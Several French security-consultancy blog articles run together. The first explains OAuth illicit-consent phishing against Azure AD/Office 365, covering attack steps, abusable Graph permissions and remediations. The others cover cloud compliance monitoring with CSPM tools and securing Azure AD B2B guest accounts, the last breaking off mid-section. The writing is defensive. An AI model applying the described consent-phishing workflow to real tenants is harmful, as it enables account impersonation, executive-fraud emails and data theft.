• Si la victime clique sur « Annuler » par prudence, elle est redirigée vers le serveur de l’attaquant avec une URL du type <Attacker_controled_URL>/?error=consent_required &error_description=AADSTS65004%3a+User+declined+to+consent+to+access+the+app.&error_uri=https%3a%2f%2flogin.microsoftonline.com%2ferror%3fcode%3d65004#. L’attaquant, comprenant que la victime n’a pas accepté la délégation de permissions, peut ensuite rediriger la victime sur la page de phishing, lui donnant l’impression que les permissions demandées doivent être acceptées pour passer à l’étape suivante.
• En raison du nom de domaine légitime et la vue de l’urgence indiquée dans le mail d’hameçonnage, la victime de l’attaque choisit d’accepter. Elle observe alors un message indiquant que son compte sera bien maintenu activé, comme suggéré dans le mail initial. Elle reprend donc une activité normale.

Or, ce consentement permet à l’attaquant de réaliser des actions au nom de la victime, en fonction des permissions accordées. A noter que l’attaque par consentement illicite a de nombreux avantages pour un attaquant, notamment :

• L’utilisation d’une URL associée à Microsoft lors de la demande de consentement, considérée comme de confiance et impliquant donc moins de méfiance de la part des utilisateurs ciblés.
• L’obtention d’un accès persistant pendant 90 jours, sans connaissance du mot de passe de l’utilisateur ni du second facteur d’authentification, si aucune stratégie d’accès conditionnels n’est implémentée.
• La possibilité de requêter directement les APIs de Microsoft pour récupérer de manière automatisée les fichiers, emails et autres ressources de l’entreprise accessibles par l’utilisateur piégé.

Aparté technique

D’un point de vue technique, l’attaque par consentement illicite repose sur la capacité d’un attaquant à créer une application demandant des délégations de permissions. La délégation de permission est une fonctionnalité qui est régulièrement utilisée par les utilisateurs sans qu’ils s’en rendent compte, par exemple le client Outlook est autorisé par défaut à récupérer et les notifier de l’arrivée de nouveaux emails.

Voici les étapes clés lors de la réalisation de ce type d’attaque (qui repose sur la cinématique Authorization Code Grant d’OAuth 2.0) :

• L’attaquant crée une application d’entreprise sur Azure AD (application registration) et configure les permissions qu’il souhaite obtenir de la part des utilisateurs. Il peut instancier également un « client_secret» sur l’application. Certaines contraintes liées à cette application sont détaillées plus bas.
• Il met en place un serveur vers lequel les utilisateurs seront redirigés suite aux consentements et indique son URL en tant qu’URL de redirection valide pour l’application.
• À la suite du consentement d’un utilisateur, celui-ci sera redirigé vers le site malveillant et un code sera fourni à l’attaquant. Ce code est la preuve à montrer à Microsoft que l’utilisateur autorise l’application à faire des actions en son nom.
• A l’aide de ce code et du « client_secret » de l’application, l’attaquant pourra récupérer un jeton OAuth. Ce jeton est un récépissé signé par Microsoft qui précise les actions que la victime autorise à faire en son nom. L’attaquant peut également récupérer un « refresh_token » permettant de renouveler la validité du jeton OAuth.
• Ce jeton OAuth est alors utilisable pour envoyer des requêtes à la Graph API au nom de la victime et par conséquent permet d’usurper son identité.

Quelles sont les conséquences d’une telle attaque ?

Si certaines permissions nécessitent par défaut l’approbation d’un administrateur pour être déléguées, d’autres permissions peuvent être déléguées directement par les utilisateurs dans les environnements Azure non durcis. Les permissions pouvant être récupérées par l’attaquant lors de ce type d’attaque dépendent donc de la configuration du tenant Azure AD ciblé.

Voici quelques exemples d’abus possibles par un attaquant qui aurait réussi à récupérer les permissions d’un utilisateur sur un environnement non durci.

Actions réalisables à la suite d’une attaque par consentement illicite réussie sur en environnement Azure non durci

• Azure Active Directory :
  • La permission Microsoft Graph User.ReadBasic.All permet de récupérer les adresses email des tous les utilisateurs d’un tenant, ce qui permet de déployer des attaques de phishing à plus grande échelle à partir d’une première compromission.
• Outlook :
  • L’envoi d’un email au nom d’un utilisateur peut permettre la réalisation d’attaques dites de « fraude au président » à l’aide des permissions Microsoft Graph Mail.Send et Mail.ReadWrite. Un employé compromis disposant d’un niveau hiérarchique élevé pourrait par exemple demander par email l’envoi en urgence d’une somme important d’argent à un compte non répertorié par l’entreprise.
  • Les emails envoyés peuvent également être dissimulés à l’aide de règles de filtrage Outlook pouvant être modifiées à l’aide de la permission MailboxSettings.ReadWrite. L’attaquant pourra alors rediriger tous les emails liés à son attaque et les réponses associées vers un dossier différent des boites d’envoi et de réception.
• Teams :
  • La lecture et l’envoi de messages via Teams (Microsoft Graph Chat.ReadWrite) est une méthode efficace pour un attaquant d’usurper l’identité d’un utilisateur. Cette méthode peut également être utilisée pour réaliser des attaques de « fraude au président ».
• OneDrive et SharePoint :
  • L’accès en lecture aux fichiers accessibles sur OneDrive et SharePoint (Microsoft Graph Files.Read.All) peut donner accès à l’ensemble des fichiers accessibles par l’utilisateur. De plus, les droits d’accès aux fichiers SharePoint sont souvent stockés avec des droits d’accès permissifs ce qui permet aux attaquants de récupérer un très grand nombre de fichiers. Il n’est pas rare par exemple d’avoir à accès à des scripts ou fichiers de configurations contenant des mots de passe en clair.
  • Par ailleurs, les fonctionnalités de recherche de SharePoint, permettant notamment la lecture et l’indexation du contenu des fichiers Office, peuvent être utilisées afin de cibler certains mots clés tels que « mot de passe ».
  • Les droits d’écriture sur un fichier SharePoint (Microsoft Graph Files.ReadWrite.All) peuvent également avoir un impact important : les fonctionnalités de versioning de SharePoint limitent par défaut l’enregistrement des anciennes versions des fichiers à 100 versions. Cela signifie qu’en cas de réécritures automatisées et successives plus de 100 fois, la version initiale du fichier ne serait plus récupérable. Cela permettrait donc à un attaquant d’effacer un grand nombre de données en cas de compromission d’un compte disposant de droits d’écriture sur des fichiers sensibles. En cas d’effacement, il faudrait alors contacter le support Microsoft pour tenter de récupérer les données sur les sauvegardes quotidiennes à froid.
• OneNote :
  • Les fichiers OneNote synchronisés (Microsoft Graph Notes.ReadWrite ou Read.All) peuvent contenir des informations sensibles tels que des comptes-rendus de réunion, confidentielles, mais aussi des informations techniques telles que des mots de passes stockés de manière non sécurisée.
• Ressources Azure :
  • L’accès aux key vaults et storage accounts (Azure Key Vault et Azure Storage user_impersonation) peuvent donner accès à des éléments sensibles en cas de compromission de comptes de développeurs ou d’utilisateurs techniques. Ces éléments peuvent faciliter la compromission de ressources Azure telles que des machines virtuelles et servir de point de rebond pour un attaquant externe.

Ces actions peuvent avoir de graves impacts pour une entreprise. Par ailleurs, elles peuvent faciliter la réalisation d’attaques plus élaborées en divulguant des informations sensibles à un attaquant externe.

En cas d’approbation par un administrateur, des permissions plus sensibles peuvent être récupérées comme l’accès en écriture à l’ensemble des informations de l’annuaire Azure Active Directory.

Enfin, les administrateurs disposent du droit de déléguer à une application les permissions de tous les utilisateurs du tenant. Dans cette éventualité, l’identité de l’ensemble des utilisateurs pourraient être usurpée pour la permission déléguée.

La mise en place par Microsoft du « risk-based consent step up » pour limiter les attaques par consentement illicite

Face à cette menace Microsoft a implémenté en novembre 2020 des protections supplémentaires pour limiter l’impact de ce type d’attaques. La fonctionnalité de « risk-based consent step up » a pour objectif de lever un avertissement et de demander la validation d’un administrateur en cas de demande de permission semblant frauduleuse.

La demande d’accès depuis une application non vérifiée de droits considérés comme sensible est bloquée par défaut

Celle-ci s’applique dans le cas d’une demande de permissions par une application non vérifiée crée hors du tenant ciblée. Par défaut, toutes les permissions sont concernées, à l’exception de la lecture du profil de l’utilisateur cible, pour faciliter l’authentification unique (SSO) avec des applications tierces.

Cette restriction est implémentée par défaut sur tous les tenants Azure.

Si ces restrictions permettent de limiter les attaques, 3 types d’applications sont cependant toujours utilisables à des fins malveillantes : les applications « legacy », les applications internes au tenant ciblé et les applications vérifiées.

• Applications « legacy » :
  • Afin de permettre une rétrocompatibilité, aucun message d’avertissement n’est affiché pour une demande de permissions provenant d’une application créée avant novembre 2020.
  • Prérequis pour l’attaquant : disposer d’une application créée sur un tenant Azure avant novembre 2020 ou compromettre un tenant contenant de telles applications.
• Applications internes au tenant ciblé :
  • Ces applications ne sont pas couvertes par le « risk based consent step up ». Par défaut, tous les utilisateurs d’un tenant Azure disposent du droit de création d’une application d’entreprise sur leur tenant ce qui facilite la réalisation de l’attaque sur un environnement non durci.
  • Prérequis pour l’attaquant : disposer d’un premier compte compromis sur le SI de l’entreprise ciblée, s’apercevoir que la création des applications est autorisée pour les utilisateurs standards et déployer une application interne au tenant.
• Applications vérifiées :
  • Les applications vérifiées ne sont pas couvertes par le « risk based consent step up ». La procédure de vérification de Microsoft nécessite d’intégrer le Microsoft Partner Network.
  • Prérequis pour l’attaquant : disposer d’une application vérifiée ou compromettre un tenant Azure disposant d’applications vérifiées et détourner l’utilisation de ces applications légitimes.

Remédiations possibles

Afin de limiter la probabilité et l’impact de telles attaques, les recommandations suivantes peuvent être appliquées et adaptées au contexte de l’entreprise :

• Autoriser uniquement les applications explicitement approuvées par les administrateurs. Cette configuration est la plus sécurisée, mais l’étape de validation peut constituer un goulot d’étranglement puisque ce sont généralement les Global Administrators et Privileged Role Administrators qui doivent faire la validation. En pratique, certains droits peuvent être aussi délégués via les Cloud Application Administrators ou les Application Administrators.

Le consentement de délégation de privilèges par les utilisateurs standards peut être bloqué via les configurations Azure AD

• Limiter les permissions pour lesquelles les délégations peuvent être réalisées. Un administrateur peut spécifier les permissions à faible risque (Low) pour lesquelles les délégations peuvent être directement faites par les utilisateurs.

Le consentement de délégation de privilèges par les utilisateurs standards peut être limité aux droits considérés non sensibles via les configurations Azure AD

• Créer un processus de validation des applications légitimes et de admin consent workflow pour tracer et justifier ces validations. En durcissant les modalités d’octroi de consentements, il est nécessaire de conjointement mettre en place un manière simple et intuitive pour les utilisateurs de demander des dérogations pour déléguer des permissions liées à des cas d’usage légitimes. Ces exceptions doivent être tracées et justifiées afin de s’assurer de la légitimité des demandes.
• Faire une revue régulière des droits délégués aux applications (Entreprise applications) : les permissions déléguées par les utilisateurs doivent être revues afin de s’assurer que seules des applications légitimes disposent de droits sur les ressources Office 365 du tenant.

La revue régulière des applications disposant de droits sur un tenant Azure permet de valider que les privilèges octroyés sont toujours d’actualité

• Superviser les accès suspects aux ressources Office 365. Il est possible par exemple de mettre en place des règles d’alerte sur le nombre de fichiers téléchargés sur un temps court afin d’identifier les tentatives d’exfiltration de données.
• Limiter les droits d’accès aux fichiers SharePoint au strict nécessaire: les fichiers accessibles à tous les utilisateurs d’un tenant doivent être vérifiés à intervalle régulier et les droits d’accès aux fichiers les plus sensibles doivent être revus pour s’assurer que seules les personnes nécessaires y ont accès.

Conclusion

Les différentes attaques par phishing présentées dans cet article reposent sur un manque de durcissement des configurations Azure AD. La mise en place d’un second facteur d’authentification, bien que nécessaire face aux attaques par phishing traditionnelles, n’est pas suffisante pour se prémunir des autres attaques présentées. Pour les attaques via l’authentification « device code », les administrateurs peuvent mettre en place des politiques d’accès conditionnel pour limiter les connexions suspicieuses provenant d’appareil non maitrisés par l’entreprise. Pour les attaques par consentement illicite, la mesure la plus efficace consiste à autoriser uniquement les applications approuvées par les administrateurs.

Ces trois éléments de durcissement, bien que simples en apparence, peuvent faire l’objet de véritables chantiers de sécurisation afin de prendre en compte l’historique, notamment en s’assurant que les applications existantes ne soient pas bloquées par ces mesures, et en implémentant des processus de revues régulières et de validation des nouvelles applications.

Bibliographie

https://aadinternals.com/post/phishing/

https://jeffreyappel.nl/protect-against-oauth-consent-phishing-attempts-illicit-consent-attack/

https://positivethinking.tech/insights/what-is-an-illicit-consent-grant-attack-in-office-365/

https://docs.microsoft.com/en-us/azure/active-directory/develop/publisher-verification-overview

https://learn.microsoft.com/en-us/azure/active-directory/manage-apps/user-admin-consent-overview

https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-app-consent

https://www.microsoft.com/en-us/security/blog/2021/07/14/microsoft-delivers-comprehensive-solution-to-battle-rise-in-consent-phishing-emails

[1] https://learn.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-device-code

Cet article Les attaques par consentement illicite ciblant Azure et Office 365 : une menace toujours d’actualité ? est apparu en premier sur RiskInsight.

Les erreurs de configuration dans les environnements Cloud sont encore source d’incidents majeurs et ce n’est pas près de s’arrêter. L’actualité regorge d’exemples : fuite de 1 milliard de donnés de citoyens lié à une fuite de clé,  campagne de phishing utilisant une clés AWS de Kaspersky, mauvaise configuration d’une base de données NoSQL, 3TB de données sensibles des aéroports…

L’objectif de cet article est de voir comment anticiper un tel scénario en mettant en œuvre une Tour de contrôle (ou outil de supervision continue de la configuration des ressources Cloud).

Avant toute chose, un peu de théorie sur les logs

Les logs cloud peuvent être répartis en 3 catégories :

• System logs: Ils sont générés par les OS et les applications hébergées en mode IaaS/CaaS. Les enjeux ne sont pas différents d’un SI classique on premise, seule l’architecture de collecte de logs peut être à adapter.

• Security infrastructure admin logs : Il s’agit des logs des appliances de sécurité mais également des services PaaS de sécurité utilisés par le client et des logs des flux réseaux. Pour les appliances, là encore rien de bien nouveau, il s’agit du même composant déjà utilisé et bien connu. En revanche pour les services PaaS de sécurité et les logs réseaux, il est nécessaire de mettre en œuvre une intégration spécifique et d’adapter les scénarios de détection.

• Cloud Infra API logs : Lors de chaque call API pour créer, modifier ou supprimer une ressource, le Cloud Service Provider va générer un log.

Ces logs sont accessibles dans des services managés dédiés tels que AWS CloudTrail, AWS config ou Azure activity log

Le délai de mise à disposition va dépendre du SLA du CSP, les logs sont généralement disponibles de quelques minutes à 15 minutes après réalisation de l’opération.

Exploiter ces logs va permettre de passer d’une conformité manuelle et statique à une conformité automatique et continue :

Quelles options techniques pour construire une Tour de contrôle ?

Trois grandes options s’offrent à un client qui souhaiterait mettre en œuvre une tour de contrôle :

• Natif intégré (built-in)
• Natif personnalisé (custom)
• Cloud Security Posture Management (CSPM)

Natif intégré (built-in)

Dans ce premier cas, les outils activés par défaut par le Cloud Service Provider, parfois gratuitement, utilisant des alertes prédéfinies pour évaluer la conformité de vos environnements et délivrer un score de sécurité sont utilisés.

Par exemple Trusted Advisor sur AWS ou Microsoft Defender for Cloud sur Azure.

Ces solutions natives et non-personnalisées permettent d’initier une tour de contrôle, mais elles sont cependant rapidement limitées : il s’agit d’une réponse générique à des problématiques spécifiques.

Natif personnalisés (custom)

Les fournisseurs Cloud mettent à disposition de nombreux services permettant aux clients de construire un outil de vérification de la conformité de leur infrastructure : les outils du CSP disponibles sont personnalisés pour créer des alertes de conformité spécifiques et des tableaux de bord/KPIs personnalisés.

Dans cette option, il est nécessaire de prévoir un projet de 10 à 40 jours hommes pour mettre en œuvre l’infrastructure de supervision, définir les 1^ères alertes et construire les tableaux de bords.

L’usage de plusieurs tenants, organisations ou Cloud nécessitera de définir une architecture spécifique car il n’existe pas de solution clé en main.

CSPM : Cloud Security Posture Management

Wavestone voit un marché en plein essor. Marketsandmarkets estime que le marché devrait plus que doubler entre 2022 et 2027 en passant de 4,2 milliards de $ à 8,6 milliards de $.

Les CSPM supportent nativement de nombreux Cloud providers et mettent à disposition de leurs clients de nombreux tableaux de bord basés sur les grands référentiels du marché. Le client pourra également définir facilement ses propres standards, politiques et alertes.

Le déploiement de ce type d’outil est très simple, nécessitant que quelques jours hommes.

Les coûts récurrents pourront cependant être significatifs : généralement 3 à 5% de la facture Cloud en plus des services du Cloud à activer (similaire à l’option des services natifs et personnalisés).

La vitesse de détection sera également un peu moins rapide car le SLA du CSPM s’additionne à celui de génération des logs de CSP, généralement un délai de détection de 20 minutes à 1 heure.

Que doit superviser ma Tour de Contrôle ?

Le problème majeur que rencontrent les clients lors de la mise en œuvre d’un CSPM avec l’activation d’alertes proposées est la génération de dizaines voire de centaines de milliers d’alertes de criticité haute à traiter. Les équipes ne savent pas par quoi commencer et c’est bien souvent le découragement qui l’emporte. Il faut faire attention à ne pas surcharger les équipes de sécurité !

Pour la mise en œuvre d’une tour de contrôle sur un SI Cloud de production, nous recommandons de déployer les contrôles de sécurité par vague de 10 à 15 à la fois. Pour cela, il faut prioriser les sujets les plus importants. Ci-dessous un exemple de priorisation :

Malheureusement, à toute règle ses exceptions ! Elles sont principalement liées à l’existant Cloud, à des architectures spécifiques ou des contraintes techniques. Il est donc primordial dès la conception de prévoir ce cas de figure et la gouvernance associée :

• Validation : par le RSSI local et/ou le RSSI global
• Expiration
• Revue : décentralisée (localement ou lors d’audits globaux annuels) ou centralisée (par un suivi continu global)

L’utilisation de tag pour les ressources Cloud est la solution la plus simple à ce jour pour le faire – attention toutefois, certaines ressources peuvent ne pas être compatibles comme les services IAM.

Quel que soit le modèle choisi, les sujets à traiter restent principalement les mêmes :

• Garantir l’utilisation et l’application légitime des exceptions
• Définir des indicateurs spécifiques sur des exceptions pour les sujets à risques du Top Management
• Mettre en place des campagnes régulières de suivi des exceptions
• Alerter et traiter lorsqu’une exception expire

Comment mettre en œuvre un processus de remédiation efficace ?

La mise en œuvre d’une tour de contrôle va générer de nombreuses alertes, qu’il va falloir corriger. Trois options sont possibles : bloquer, remédier automatique ou manuellement

Refus (Mode deny)

Pourquoi remédier alors qu’il suffit de bloquer préventivement les ressources non-conformes ?

Avec des Azure Policy ou des AWS SCP, il est possible nativement de bloquer certaines configurations et ainsi éviter la génération de nouvelles alertes.

Pour les cas d’usage non couverts, il est possible de mettre en place des vérifications des templates de déploiement dans les chaines CI/CD (cela nécessite néanmoins une forte maturité).

Déployer un mécanisme de refus – ou deny – sur des environnements existants est rarement implémenté car le risque de générer des mécontentements des équipes de développement est trop fort :

• Les ressources existantes non conformes ne peuvent plus être modifiées
• Cela va générer une charge supplémentaire aux équipes de développement car les habitudes doivent être changées
• …

Remédiation automatique

Ici, il s’agit de corriger directement et automatiquement les configurations déviantes : attention aux effets de bord !

Pour se faire, il est possible d’utiliser les services natifs des cloud provider (Azure policy ou AWS SSM Manager) ou pour des cas non supportés de développer des fonctions (AWS Lambda, Azure Function ou Azure LogicApps).

Manuel

Il s’agit malheureusement de la solution la plus rencontrée mais aussi la plus coûteuse en ressources humaines. Les configurations déviantes sont remédiées à la main par les équipes.

Pour garantir le succès d’une remédiation manuelle, il est nécessaire d’avoir un appui fort du top management pour assurer l’adhésion et la motivation des équipes.

La mise en œuvre d’un tableau de bord de type Cloud OWSAP mettant en lumière les priorités du moment est une bonne solution, permettant de responsabiliser chacun sur son périmètre. Chaque sujet mentionné ci-contre pouvant avoir un ou plusieurs indicateurs.

Avoir l’appui du management n’est cependant pas suffisant, il est nécessaire de connaitre le responsable de la ressource pour lui demander de faire les modifications. Dans un grand groupe international ce n’est pas chose aisée. Notre recommandation est de nommer à minima un security officer par compte/souscription qui devra avoir la connaissance fine des applications et des responsables des ressources.

En parallèle, il est nécessaire de mettre en œuvre un programme de formation et de sensibilisation efficace. Si l’on veut minimiser le nombre d’alertes et éviter de remplir plus vite la baignoire qu’elle se vide, les équipes de développement doivent connaitre et maitriser parfaitement les exigences sécurité à respecter dans le Cloud.

Pour commencer le processus de remédiation, notre conseil est de démarrer de manière centralisée avec une équipe compétente et bien dimensionnée en charge de la mise en œuvre de la tour de contrôle, mais également en charge de mobiliser et former des relais locaux, permettant à terme aux équipes locales de suivre et gérer de façon autonome la conformité sur leur périmètre.

Alerte de conformité ou alerte de sécurité ?

La majorité des entreprises considère la supervision de la conformité de leurs ressources Cloud comme n’étant pas une responsabilité des équipes SOC. Mais la frontière n’est pas si simple à définir, d’autant plus au vu du nombre d’incidents de sécurité dans le Cloud provenant d’erreurs de configuration : exposition publique d’une ressource de stockage contenant des données critiques, MFA non-configuré sur un compte admin ou encore RDP ou SSH exposés sur internet.

La génération d’une alerte de sécurité au SOC permet de tirer parti des processus et outillages déjà en place, pour un traitement 24h sur 24, 7 jours sur 7 même si les ressources SOC ne sont pas expertes Cloud.

Et finalement, cela sera une bonne occasion de rapprocher les sécurités Cloud et les équipes SOC pour améliorer les supervisions sécurité en l’adaptant à la réalité du cloud. Ce sujet pourra faire l’objet d’un article dédié.

Cet article Conformité dans le Cloud, un nouveau paradigme est apparu en premier sur RiskInsight.

Le besoin de collaboration avec l’externe : éternel point de souffrance des entreprises

Les entreprises ont toujours eu besoin de collaborer entre elles en partageant des ressources et en échangeant des données. Pour ce faire, leurs collaborateurs doivent être capables d’interagir en toute sécurité avec des utilisateurs extérieurs à leur environnement.

Plusieurs cas d’usages sont à couvrir, dont un des plus fréquents devient la collaboration bornée dans le temps avec des partenaires, des prestataires externes, des fournisseurs ou des clients B2B.

Aussi, il est courant d’observer une collaboration continue entre filiales d’un même groupe, qui ont besoin d’avoir accès aux ressources et données de l’entreprise, et qui ne partagent pas nécessairement le même Système d’Information.

Historiquement, la collaboration pouvait se réaliser de plusieurs façons présentant des inconvénients :

• Par échange successifs de mails, à la fois peu efficaces et entrainant une perte de contrôle de la donnée échangée ;
• En utilisant des solutions dédiées au partage de document à des tiers, qui s’avèrent coûteuses et peu adaptées d’un point de vue expérience utilisateur ;
• En créant une nouvelle identité dans les systèmes historiques (Active Directory, etc.), et en dotant les entités tierces de moyens pour accéder au SI de l’entreprise (VPN, machines virtuelles, machines physiques, etc.), ce qui augmentait considérablement la surface d’attaque de l’entreprise.

Microsoft a introduit Azure AD B2B pour ce besoin de collaboration

Aujourd’hui, l’usage d’Azure AD B2B permet à deux entités ou plus de collaborer au sein du tenant Azure de l’entreprise d’accueil. Les ressources partagées peuvent être des applications, des documents, des sites SharePoint, des OneDrive ou des équipes Teams.

Dans les faits, la solution Azure B2B permet à un utilisateur externe d’accéder au tenant de l’entreprise d’accueil via son compte habituel en lui créant une identité « invité » au sein de l’Azure Active Directory (AAD) de l’entreprise.

Le tenant « client » fait alors totalement ou en partie confiance au tenant « externe » pour l’authentification via un mécanisme d’échange de jeton.

Il existe trois possibilités natives pour créer une identité « invité » :

• Directement depuis le portail Azure ;
• Via un partage de document sur OneDrive/SharePoint/Teams ;
• Via l’utilisation de la graph API.

Au niveau du tenant d’accueil, le propriétaire peut autoriser ou non le partage de données à des externes et également administrer les comptes invités (création, désactivation, suppression…).

Cette solution de collaboration présente un avantage direct : la facilité d’utilisation pour les utilisateurs habitués aux environnement Microsoft.

Le deuxième avantage à prendre en compte, est bien évidemment le coût de la solution. En effet, une identité « invité » présente une économie de licence : jusqu’à un plafond de 50 000 identités « invité », leur licence est gratuite. Au-delà et selon les souscriptions de l’entreprise, une licence pourra coûter entre 0,003€ et 0,015€ / mois / utilisateur, auxquels viennent se rajouter des frais fixes d’un montant de 0,029 € pour chaque tentative d’authentification multi facteur. Cette politique tarifaire est en décalage avec le tarif habituel d’une licence M365 : entre 10€ et 50€ / mois / utilisateur selon le plan de licence.

Cependant Azure AD B2B présente une configuration par défaut trop ouverte, qui engendre des risques pour l’entreprise

Azure AD B2B introduit plusieurs facteurs qui peuvent induire des risques :

• La création des identités invités est très simple et non contrôlée (pas de responsable pour l’identité, pas de traçabilité, pas de restrictions…) ;
• Le nombre d’identité invité peut augmenter de façon non contrôlée et il est compliqué de gérer simplement leur cycle de vie ;
• L’entreprise ne maitrise pas la sécurité du tenant initial de l’identité « invité » ;
• Aucune règle d’accès conditionnel n’est mise en place par défaut (pas d’authentification forte, pas de restriction d’accès au portail Azure AD, etc.) ;
• L’identité « invité » à accès aux attributs Azure AD des autres utilisateurs.

Ces facteurs engendrent des risques pour les données de l’entreprise, étant donné qu’une identité « invité » peut avoir des droits sur un nombre important de documents et des informations sur son tenant d’accueil.

On peut considérer deux évènements déclencheurs pour les différents scénarios de menaces :

• Une identité « invité » malveillante ;
• Une identité « invité » compromise par un attaquant.

Ensuite, et selon le niveau de configuration et les droits de l’identité « invité », cette dernière aurait l’opportunité de :

• Récupérer de la donnée confidentielle, à laquelle l’identité a accès ;
• Détruire l’ensemble des données accessibles par cette identité ;
• Compromettre l’AD via attribution de rôles à cette identité ;
• Réaliser de l’ingénierie sociale via l’accès à l’ensemble des données des utilisateurs.

En fonction du niveau de maturité de l’entreprise et de la volonté de couvrir le risque, il est nécessaire de mettre en œuvre un certain nombre de mesures

Pour bien commencer : durcir la configuration par défaut

Maitriser les moyens d’ajouter des identités « invité » sur le tenant

Un des premiers points à traiter est de couper l’accès au portail Azure aux collaborateurs non-administrateur de l’entreprise, pour qu’il ne soit plus un vecteur de création d’identités « invité ».

Il faut noter qu’il est également possible de restreindre la population pouvant inviter des externes à collaborer, mais dans les faits cela ne sera pas applicable à toutes les entreprises, et notamment celles qui souhaitent décentraliser la gestion de cette population. En effet le fait de restreindre cette population oblige à créer un service dédié à la création de ces identités, ce qui va à l’encontre du principe même de ce service, qui est de laisser la main aux utilisateurs.

Enfin, il existe une fonctionnalité permettant de positionner des contraintes sur l’adresse mail des identités « invité », via white-list ou black-list de nom de domaine. Cependant avant de se lancer dans ce chantier, il est nécessaire de tenir compte de la complexité de sa mise en œuvre (notamment pour une entreprise qui ne maitrise pas les partenaires avec qui elle collabore), et de la faible réduction du risque associé.

Restreindre ce à quoi peuvent avoir accès ces identités

Il est possible de restreindre les attributs qui peuvent être consultés par les identités invités, afin que ces dernières soient dans l’incapacité de récupérer un gros volume d’information sur le tenant d’accueil.

Renforcer l’authentification et le contrôle d’accès des identités « invité »

Le mécanisme d’authentification multi facteur (MFA) pour une identité « invité » est quasi natif et permet de diminuer le risque d’usurpation par un attaquant. En effet il suffit de mettre en place une politique d’accès conditionnel qui cible spécifiquement ces identités « invité », et qui applique le contrôle relatif au MFA.

Plusieurs défis viennent néanmoins complexifier cette opération, et sont à prendre en compte

• La gestion de la conduite du changement sur ces populations « invité » reste complexe à effectuer, même si les opérations d’onboarding des utilisateurs sont simples et guidées ;
• La gestion des processus de réinitialisation de second facteur en cas de perte ou de vol peut être coûteuse et complexe si elle n’est pas maitrisée.

Sensibiliser les utilisateurs aux risques et aux bonnes pratiques de collaboration

La complexité majeure de la solution Azure AD B2B est l’absence de mécanisme de gestion des identités « invités ». Les utilisateurs sont donc les principaux acteurs de la stratégie de gestion, et doivent être sensibilisés au bon niveau, en insistant sur :

• Les bonnes pratiques de collaboration : dans quel cas doivent-ils utiliser la solution, comment créer un invité, etc ;
• La bonne gestion de leurs accès : ils doivent être supprimés dès que possible afin d’éviter un accès illégitime ultérieur ;
• La désactivation des identités lorsqu’elles ne sont plus utilisées, en particulier pour les prestataires / partenaires, en insistant sur le fait que les documents produits ne sont pas perdus.

Protéger la donnée à laquelle peut avoir accès les invités

Il ne faut pas non plus oublier de protéger la donnée à laquelle peut avoir accès un invité légitime, ce qui donne lieu à plusieurs mesures :

• Il est possible de mettre en place des contraintes pour les identités « invité » via des règles d’accès conditionnels : utilisation obligatoire des clients légers (clients web), ayant pour effet d’empêcher la synchronisation des données et prérequis à des mesures avancées que nous verrons ensuite, l’interdiction du téléchargement des données, contraintes sur les terminaux à utiliser ;
• Si l’entreprise a déployé l’outil de classification AIP (Azure Identity Protection), une autre solution peut être la création d’une étiquette de confidentialité chiffrant la donnée pour les identités « invité ». Cette étiquette pourra également servir à restreindre certaines actions pour cette population : restriction des modifications (via les permissions associées), restriction du téléchargement (via une règle DLP), etc.

Pour aller plus loin, un Cloud Access Security Broker (comme Microsoft Defender for Cloud Apps de Microsoft) peut permettre la mise en place de règles avancées et ciblées comme par exemple : empêcher le téléchargement sur des espaces Sharepoint spécifiques.

Bien gérer le cycle de vie des identités « invité » : 3 Scénarios à considérer

Comme évoqué précédemment, le sujet clé reste la maitrise du cycle de vie des identités « invités » : Création, suppression, et revue des accès. 3 scénarios peuvent être envisagés, en fonction de la couverture du risque souhaitée, du niveau de maturité de la gestion des identités et des accès, et du coût de mise en œuvre du scénario.

Scénario 1 – Rester pragmatique avec un petit budget : utiliser les outils et configurations natives

Dans ce scénario, l’entreprise dédie une certaine typologie de groupe au partage à l’externe, et donc à la création d’invités. La distinction peut se faire par la nomenclature du groupe par exemple : tous les groupes externes doivent commencer par « X_ », ce qui nécessite de contrôler la création des groupes au préalables.

Elle peut ainsi réaliser des contrôles plus facilement sur ce périmètre restreint de groupes.

Le prérequis principal est de bloquer les ajouts d’identités « invités » aux groupes de type « Internes », et il est possible de le faire de deux façons :

• Si l’entreprise a déployé l’outil de classification AIP sur les espaces SharePoint et Teams : utilisation d’une étiquette dédiée pour empêcher le partage aux externes sur ces espaces. Exemple : création d’un label « Interne » qui bloque le partage avec les identités « invité » ; – LIEN
• Via un script PowerShell, bloquer le partage avec les identités « invité » pour les groupes « Internes », en les identifiant via leur nomenclature. – LIEN

Création d’une identité « invité »

La seule possibilité pour créer une identité « invité » est de les ajouter des utilisateurs externes dans des groupes de type « Externes ».

Si l’entreprise a besoin de donner accès à son tenant à une filiale ou une entité entière, il est possible de synchroniser régulièrement leur AD ou Azure AD, et ainsi créer leurs identités en « invité » dans le tenant de l’entreprise.

Suppression d’une identités « invité »

Le processus de suppression des identités reste basique, avec à minima la suppression des identités « invités » inactif, en utilisant par exemple un script PowerShell s’appuyant sur la notion de « Sign In Activity ». Il pourra également être intéressant de supprimer les identités « invité » n’ayant accès à aucun groupe via un script PowerShell.

Revue des accès « invité »

Pour couvrir le risque lié à la revue des accès dans ce scénario, il est possible de faire expirer les accès des identités « invité » sur les groupes SharePoint ou les OneDrive au bout de 60 jours. Il est à noter que le propriétaire des groupes SharePoint ou OneDrive sera notifié de l’expiration 21 jours avant échéance.

Enfin, il est envisageable d’utiliser la fonctionnalité « Guest Access Review » pour les groupes externes où le partage à des invités est possible. Il faut cependant noter qu’elle nécessite des licences avancées (AAD P2) attribuées aux utilisateurs devant effectuer les revues, donc tous les propriétaires des groupes en question (normalement en nombre limité).

Ce scénario est un bon moyen de réduire le risque lié aux invités, en gardant une solution quasi native, et sans trop investir dans la solution.

Scénario 2 – Pour aller plus loin dans le niveau de sécurité : développer une application de gestion des invités

Dans ce second scénario, l’entreprise souhaite avoir complètement la main sur la gestion du cycle de vie des identités « invité », et sortir du mécanisme natif trop permissif de Microsoft. Pour ce faire, l’entreprise crée une application (par exemple en utilisant Power App) pour gérer ce cycle de vie, en en faisant le point unique de création et suppression.

Une fois ce cycle de vie mis en place, il est nécessaire de positionner le paramètre de partage SharePoint sur le mode « Existing guest only », permettant uniquement de partager du contenu avec des identités « invité » déjà existante dans le tenant Azure AD. Ceci permet d’empêcher la création de nouvelles identités via ce vecteur.

 Création d’une identité « invité »

